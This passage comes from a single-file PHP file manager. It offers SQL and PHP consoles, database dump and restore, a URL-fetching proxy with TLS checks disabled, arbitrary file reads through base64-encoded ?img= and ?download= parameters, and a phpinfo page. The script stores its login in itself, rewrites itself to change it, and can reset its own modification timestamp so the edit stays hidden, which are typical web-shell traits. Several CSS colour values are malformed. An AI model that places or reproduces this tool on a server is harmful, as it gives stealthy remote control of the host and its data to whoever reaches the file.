	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #E9967A ; text-decoration: underline; }
a.th:link { color: ##808000; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #E9967A ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #F08080 ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##F08080;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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